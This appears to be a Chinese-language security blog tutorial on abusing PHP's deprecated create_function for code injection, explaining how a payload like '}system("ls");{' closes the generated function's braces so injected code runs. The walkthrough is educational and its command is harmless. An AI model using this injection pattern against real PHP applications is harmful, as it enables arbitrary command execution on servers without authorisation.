DHCP
DHCP
Published on 2025-12-25 / 16 Visits
0
0

PHP中create_function函数命令执行使用

PHP中create_function函数命令执行使用

本期需要理解的php函数:

create_function()

警告

本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除。 强烈建议不要依赖本函数。

create_function函数手册:PHP: create_function - Manual

当我们在php代码中遇到$a("", $b);或类似这样的代码,$a和$b都可以构造的时候,我们可以利用利用动态函数调用的方法来实现任意PHP代码的执行从而造成命令执行
具体paylaod如下:

create_function("",'}system("ls");{');

那为什么就可以命令执行了呢?

那么我们就要了解一下create_function是什么函数,如何使用:

create_function是一个匿名函数。
如果我想写一个函数,函数名为add,函数的功能是计算给定函数的两个参数相加的话,可以看到功能很多简单,我就懒得编写函数从而用匿名函数的方式去实现这个功能。
代码如下:

<?php
$add = create_function('$a,$b', 'return $a + $b;');
echo $add(1,2); ?>

结果:
.png
最后的结果为3,那如何命令执行呢,像这样:

<?php
$add = create_function('$a,$b', 'system("ls");');
echo $add(1,2); ?>

结果:
.png
我们就可以命令执行了,那么现在a和b的参数就不重要了,我们可以替换成空字符串:

<?php
$add=create_function('', 'system("ls");');
echo $add();
?>

结果:
.png
发现也能命令执行,但是这里还多了一步就是创建加法匿名函数,赋值给变量add,然后以变量add作为函数名执行功能,这里给它去掉:

<?php
create_function('', 'system("ls");');
?>

结果:
.png
发现不能执行,为什么呢
最后了解才发现
当执行:

create_function('参数1', '参数2');

实际上等同于:

function lambda_X(参数1){参数2}

这里如果第一次执行实际上是lambda_1,第二次是lambda_2依次向后推,这里统一写成lambda_X
如果执行:

$add=create_function('', 'system("ls");');

等同于function lambda_X() { system("ls"); }; 且将返回函数名 lambda_X 赋值给 $add$add() 就等价于 lambda_X() ,可以进行显式调用函数,执行函数体内的 system("ls")

总结

那么了解这一点后我们发现当如果我将第二个参数的左右两边加入}{与前后的{}进行闭合比如这样:

create_function('', '}system("ls");{');

就等价于:

function lambda_X() { }system("ls");{ };

那么 lambda_X 这个函数内容就为空,并且 system("ls"); 就被独立出来当作正常的PHP代码来执行,后面的};又被{给闭合掉了,就能够成功的执行我们想要执行的PHP代码在两个大括号之间,我们试一下:

<?php
create_function("",'}system("ls");{');
?>

结果:.png


Comment